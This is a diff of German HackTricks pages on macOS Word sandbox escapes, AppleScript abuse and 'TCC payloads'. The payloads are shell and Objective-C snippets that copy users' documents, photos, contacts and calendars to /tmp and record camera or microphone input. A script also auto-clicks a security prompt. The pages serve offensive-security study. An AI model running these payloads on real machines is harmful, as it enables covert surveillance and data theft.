* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,76 +1,78 @@
# macOS Office Sandbox-Bypasses
# macOS Office Sandbox Bypasses
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
### Sandbox-Bypass mit Word über Launch Agents
### Word Sandbox-Bypass über Launch Agents
Die Anwendung verwendet eine **benutzerdefinierte Sandbox** mit der Berechtigung **`com.apple.security.temporary-exception.sbpl`** und diese benutzerdefinierte Sandbox erlaubt das Schreiben von Dateien überall, solange der Dateiname mit `~$` beginnt: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Daher war das Umgehen so einfach wie das **Schreiben eines `plist`** LaunchAgents in `~/Library/LaunchAgents/~$escape.plist`.
Daher war das Entkommen so einfach wie **das Schreiben einer `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist`.
Überprüfen Sie den [**ursprünglichen Bericht hier**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
Überprüfe den [**originalen Bericht hier**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
### Sandbox-Bypass mit Word über Login-Elemente und zip
### Word Sandbox-Bypass über Login Items und zip
Denken Sie daran, dass Word nach der ersten Umgehung beliebige Dateien schreiben kann, deren Name mit `~$` beginnt, obwohl es nach dem Patch der vorherigen Schwachstelle nicht mehr möglich war, in `/Library/Application Scripts` oder in `/Library/LaunchAgents` zu schreiben.
Denke daran, dass Word von der ersten Umgehung an beliebige Dateien schreiben kann, deren Name mit `~$` beginnt, obwohl es nach dem Patch der vorherigen Schwachstelle nicht möglich war, in `/Library/Application Scripts` oder in `/Library/LaunchAgents` zu schreiben.
Es wurde entdeckt, dass es innerhalb der Sandbox möglich ist, ein **Login-Element** (Apps, die ausgeführt werden, wenn sich der Benutzer anmeldet) zu erstellen. Diese Apps werden jedoch **nicht ausgeführt**, es sei denn, sie sind **notarized**, und es ist **nicht möglich, Argumente hinzuzufügen** (Sie können also nicht einfach eine Reverse-Shell mit **`bash`** ausführen).
Es wurde entdeckt, dass es innerhalb der Sandbox möglich ist, ein **Login Item** (Apps, die beim Anmelden des Benutzers ausgeführt werden) zu erstellen. Diese Apps **werden jedoch nicht ausgeführt**, es sei denn, sie sind **notarisiert** und es ist **nicht möglich, Argumente hinzuzufügen** (man kann also nicht einfach eine Reverse-Shell mit **`bash`** ausführen).
Nach der vorherigen Sandbox-Umgehung hat Microsoft die Option zum Schreiben von Dateien in `~/Library/LaunchAgents` deaktiviert. Es wurde jedoch entdeckt, dass, wenn Sie eine **Zip-Datei als Login-Element** verwenden, das `Archive-Dienstprogramm` sie einfach an ihrem aktuellen Speicherort entpackt. Da der Ordner `LaunchAgents` im Standardfall nicht im Ordner `~/Library` erstellt wird, war es möglich, eine **plist in `LaunchAgents/~$escape.plist`** zu zippen und die Zip-Datei in **`~/Library`** zu platzieren, damit sie beim Entpacken das Ziel der Persistenz erreicht.
Nach dem vorherigen Sandbox-Bypass deaktivierte Microsoft die Option, Dateien in `~/Library/LaunchAgents` zu schreiben. Es wurde jedoch entdeckt, dass, wenn man eine **Zip-Datei als Login Item** hinzufügt, das `Archive Utility` sie einfach **entpackt** an ihrem aktuellen Standort. Da der Ordner `LaunchAgents` von `~/Library` standardmäßig nicht erstellt wird, war es möglich, eine plist in `LaunchAgents/~$escape.plist` zu **zippen** und die Zip-Datei in **`~/Library`** zu **platzieren**, sodass sie beim Dekomprimieren das Ziel für die Persistenz erreicht.
Überprüfen Sie den [**ursprünglichen Bericht hier**](https://objective-see.org/blog/blog\_0x4B.html).
Überprüfe den [**originalen Bericht hier**](https://objective-see.org/blog/blog\_0x4B.html).
### Sandbox-Bypass mit Word über Login-Elemente und .zshenv
### Word Sandbox-Bypass über Login Items und .zshenv
(Denken Sie daran, dass Word nach der ersten Umgehung beliebige Dateien schreiben kann, deren Name mit `~$` beginnt).
(Denke daran, dass Word von der ersten Umgehung an beliebige Dateien schreiben kann, deren Name mit `~$` beginnt).
Die vorherige Technik hatte jedoch eine Einschränkung: Wenn der Ordner **`~/Library/LaunchAgents`** existiert, weil eine andere Software ihn erstellt hat, würde sie fehlschlagen. Daher wurde eine andere Login-Element-Kette für dies entdeckt.
Die vorherige Technik hatte jedoch eine Einschränkung: Wenn der Ordner **`~/Library/LaunchAgents`** existiert, weil eine andere Software ihn erstellt hat, würde es fehlschlagen. Daher wurde eine andere Kette von Login Items für dies entdeckt.
Ein Angreifer könnte die Dateien **`.bash_profile`** und **`.zshenv`** mit dem Payload zum Ausführen erstellen und sie dann zippen und die Zip-Datei im Benutzerordner des Opfers schreiben: **`~/~$escape.zip`**.
Ein Angreifer könnte die Dateien **`.bash_profile`** und **`.zshenv`** mit dem Payload erstellen und sie dann zippen und **die Zip-Datei im Benutzerordner des Opfers schreiben**: **`~/~$escape.zip`**.
Fügen Sie dann die Zip-Datei zu den **Login-Elementen** hinzu und dann zur **`Terminal`**-App. Wenn sich der Benutzer erneut anmeldet, wird die Zip-Datei im Benutzerordner entpackt und überschreibt **`.bash_profile`** und **`.zshenv`**, und daher wird das Terminal eine dieser Dateien ausführen (abhängig davon, ob bash oder zsh verwendet wird).
Dann füge die Zip-Datei zu den **Login Items** hinzu und dann die **`Terminal`**-App. Wenn der Benutzer sich erneut anmeldet, wird die Zip-Datei im Benutzerverzeichnis entpackt, wodurch **`.bash_profile`** und **`.zshenv`** überschrieben werden und daher wird das Terminal eine dieser Dateien ausführen (je nachdem, ob bash oder zsh verwendet wird).
Überprüfen Sie den [**ursprünglichen Bericht hier**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
Überprüfe den [**originalen Bericht hier**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
### Sandbox-Bypass mit Word über Open und Umgebungsvariablen
### Word Sandbox-Bypass mit Open und env-Variablen
Aus sandboxierten Prozessen ist es immer noch möglich, andere Prozesse mit dem Dienstprogramm **`open`** aufzurufen. Darüber hinaus werden diese Prozesse **innerhalb ihrer eigenen Sandbox** ausgeführt.
Von sandboxed Prozessen ist es weiterhin möglich, andere Prozesse mit dem **`open`**-Utility aufzurufen. Darüber hinaus werden diese Prozesse **innerhalb ihrer eigenen Sandbox** ausgeführt.
Es wurde entdeckt, dass das Open-Dienstprogramm die Option **`--env`** hat, um eine App mit **spezifischen Umgebungsvariablen** auszuführen. Daher war es möglich, die Datei **`.zshenv`** in einem Ordner **innerhalb** der Sandbox zu erstellen und `open` mit `--env` zu verwenden, um die **`HOME`-Variable** auf diesen Ordner einzustellen und die `Terminal`-App zu öffnen, die die `.zshenv`-Datei ausführt (aus irgendeinem Grund musste auch die Variable `__OSINSTALL_ENVIROMENT` gesetzt werden).
Es wurde entdeckt, dass das Open-Utility die Option **`--env`** hat, um eine App mit **spezifischen env**-Variablen auszuführen. Daher war es möglich, die **`.zshenv`-Datei** innerhalb eines Ordners **innerhalb** der **Sandbox** zu erstellen und `open` mit `--env` zu verwenden, um die **`HOME`-Variable** auf diesen Ordner zu setzen, der die `Terminal`-App öffnet, die die `.zshenv`-Datei ausführt (aus irgendeinem Grund war es auch notwendig, die Variable `__OSINSTALL_ENVIROMENT` zu setzen).
Überprüfen Sie den [**ursprünglichen Bericht hier**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
Überprüfe den [**originalen Bericht hier**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
### Sandbox-Bypass mit Word über Open und stdin
### Word Sandbox-Bypass mit Open und stdin
Das Dienstprogramm **`open`** unterstützte auch den Parameter **`--stdin`** (und nach der vorherigen Umgehung war es nicht mehr möglich, `--env` zu verwenden).
Das **`open`**-Utility unterstützte auch den Parameter **`--stdin`** (und nach dem vorherigen Bypass war es nicht mehr möglich, `--env` zu verwenden).
Die Sache ist, dass selbst wenn **`python`** von Apple signiert wurde, es kein Skript mit dem Attribut **`quarantine`** ausführen wird. Es war jedoch möglich, ihm ein Skript von stdin zu übergeben, sodass es nicht überprüft, ob es unter Quarantäne gestellt wurde oder nicht:&#x20;
Das Problem ist, dass selbst wenn **`python`** von Apple signiert war, es **kein Skript** mit dem **`quarantine`**-Attribut **ausführen wird**. Es war jedoch möglich, ihm ein Skript von stdin zu übergeben, sodass nicht überprüft wird, ob es quarantiniert war oder nicht:&#x20;
1. Legen Sie eine Datei **`~$exploit.py`** mit beliebigen Python-Befehlen ab.
2. Führen Sie _open_ **`stdin='~$exploit.py' -a Python`** aus, das die Python-App mit unserer abgelegten Datei als Standardeingabe ausführt. Python führt unseren Code problemlos aus, und da es sich um einen Kindprozess von _launchd_ handelt, ist er nicht an die Sandbox-Regeln von Word gebunden.
1. Lege eine **`~$exploit.py`**-Datei mit beliebigen Python-Befehlen ab.
2. Führe _open_ **`stdin='~$exploit.py' -a Python`** aus, was die Python-App mit unserer abgelegten Datei als Standard-Eingabe ausführt. Python führt unseren Code gerne aus, und da es ein Kindprozess von _launchd_ ist, unterliegt es nicht den Sandbox-Regeln von Word.
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
# macOS Apple Scripts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Apple Scripts
Es handelt sich um eine Skriptsprache, die zur Automatisierung von Aufgaben verwendet wird und **mit Remote-Prozessen interagiert**. Es ist sehr einfach, **andere Prozesse aufzufordern, bestimmte Aktionen auszuführen**. **Malware** kann diese Funktionen missbrauchen, um Funktionen von anderen Prozessen zu missbrauchen.\
Beispielsweise könnte eine Malware beliebigen JS-Code in geöffneten Browserseiten **einschleusen** oder **automatisch auf** einige vom Benutzer angeforderte Berechtigungen klicken.
Es ist eine Skriptsprache, die zur Automatisierung von Aufgaben **mit der Interaktion mit entfernten Prozessen** verwendet wird. Es macht es ziemlich einfach, **andere Prozesse zu bitten, einige Aktionen auszuführen**. **Malware** kann diese Funktionen missbrauchen, um Funktionen zu missbrauchen, die von anderen Prozessen exportiert werden.\
Zum Beispiel könnte eine Malware **willkürlichen JS-Code in geöffnete Browserseiten injizieren**. Oder **automatisch auf** einige vom Benutzer angeforderte Berechtigungen klicken;
```applescript
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
@ -26,29 +27,30 @@ end tell
Hier sind einige Beispiele: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
Weitere Informationen über Malware, die AppleScripts verwendet, finden Sie [**hier**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Apple-Scripts können leicht "**kompiliert**" werden. Diese Versionen können mit `osadecompile` leicht "**dekompiliert**" werden.
Apple-Skripte können leicht "**kompiliert**" werden. Diese Versionen können leicht "**dekompiliert**" werden mit `osadecompile`
Diese Skripte können jedoch auch als "Schreibgeschützt" exportiert werden (über die Option "Exportieren..."):
Diese Skripte können auch **als "Nur lesen" exportiert** werden (über die Option "Exportieren..."):
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
```
file mal.scpt
mal.scpt: AppleScript compiled
```
Und in diesem Fall kann der Inhalt selbst mit `osadecompile` nicht dekompiliert werden.
und in diesem Fall kann der Inhalt selbst mit `osadecompile` nicht dekompiliert werden.
Es gibt jedoch immer noch einige Tools, die verwendet werden können, um diese Art von ausführbaren Dateien zu verstehen. [**Lesen Sie diese Forschung für weitere Informationen**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Das Tool [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) mit [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) wird sehr nützlich sein, um zu verstehen, wie das Skript funktioniert.
Es gibt jedoch immer noch einige Tools, die verwendet werden können, um diese Art von ausführbaren Dateien zu verstehen, [**lesen Sie diese Forschung für weitere Informationen**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Das Tool [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) mit [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) wird sehr nützlich sein, um zu verstehen, wie das Skript funktioniert.
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS TCC Payloads
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Desktop
@ -20,11 +21,8 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
{% tab title="undefined" %}
Kopieren Sie `$HOME/Desktop` nach `/tmp/desktop`.
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Kopiere `$HOME/Desktop` nach `/tmp/desktop`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -60,7 +58,6 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Kopiere `$HOME/Desktop` nach `/tmp/desktop`.
```bash
cp -r "$HOME/Desktop" "/tmp/desktop"
```
@ -73,11 +70,8 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Kopiere `$HOME/Documents` nach `/tmp/documents`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -113,7 +107,6 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Kopiere `$HOME/`Documents nach `/tmp/documents`.
```bash
cp -r "$HOME/Documents" "/tmp/documents"
```
@ -126,11 +119,8 @@ cp -r "$HOME/Documents" "/tmp/documents"
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Kopiere `$HOME/Downloads` nach `/tmp/downloads`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -166,24 +156,20 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Kopiere `$HOME/Dowloads` nach `/tmp/downloads`.
```bash
cp -r "$HOME/Downloads" "/tmp/downloads"
```
{% endtab %}
{% endtabs %}
### Fotos-Bibliothek
### Fotos Bibliothek
* **Berechtigung**: `com.apple.security.personal-information.photos-library`
* **TCC**: `kTCCServicePhotos`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Kopiere `$HOME/Pictures/Photos Library.photoslibrary` nach `/tmp/photos`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -219,7 +205,6 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Kopiere `$HOME/Pictures/Photos Library.photoslibrary` nach `/tmp/photos`.
```bash
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
```
@ -232,11 +217,8 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
* **TCC**: `kTCCServiceAddressBook`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Kopiere `$HOME/Library/Application Support/AddressBook` nach `/tmp/contacts`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -271,8 +253,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Kopieren Sie `$HOME/Library/Application Support/AddressBook` nach `/tmp/contacts`.
Kopiere `$HOME/Library/Application Support/AddressBook` nach `/tmp/contacts`.
```bash
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
```
@ -284,8 +265,9 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
* **Berechtigung**: `com.apple.security.personal-information.calendars`
* **TCC**: `kTCCServiceCalendar`
{% tabs %}
{% tab title="ObjectiveC" %}
Kopiere `$HOME/Library/Calendars` nach `/tmp/calendars`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -317,19 +299,24 @@ NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
```
{% endtab %}
Kopieren Sie `$HOME/Library/Calendars` nach `/tmp/calendars`.
{% tab title="Shell" %}
Kopiere `$HOME/Library/Calendars` nach `/tmp/calendars`.
```bash
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
```
{% endtab %}
{% endtabs %}
### Kamera
* **Berechtigung**: `com.apple.security.device.camera`
* **TCC**: `kTCCServiceCamera`
{% tabs %}
{% tab title="undefined" %}
Nehmen Sie ein 3-Sekunden-Video auf und speichern Sie es in **`/tmp/recording.mov`**.
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjetiveC - Aufnehmen" %}
Nehmen Sie ein 3s Video auf und speichern Sie es in **`/tmp/recording.mov`**
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -409,7 +396,6 @@ fclose(stderr); // Close the file stream
{% tab title="ObjectiveC - Überprüfung" %}
Überprüfen Sie, ob das Programm Zugriff auf die Kamera hat.
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -443,24 +429,20 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Machen Sie ein Foto mit der Kamera
```bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
```
{% endtab %}
{% endtabs %}
### Kamera
### Mikrofon
* **Berechtigung**: **com.apple.security.device.camera**
* **TCC**: `kTCCServiceCamera`
* **Berechtigung**: **com.apple.security.device.audio-input**
* **TCC**: `kTCCServiceMicrophone`
{% tabs %}
{% tab title="undefined" %}
Nehmen Sie ein Foto auf und speichern Sie es unter `/tmp/photo.jpg`.
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjetiveC - Aufnehmen" %}
Nehmen Sie 5 Sekunden Audio auf und speichern Sie es in `/tmp/recording.m4a`
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -559,11 +541,8 @@ fclose(stderr); // Close the file stream
```
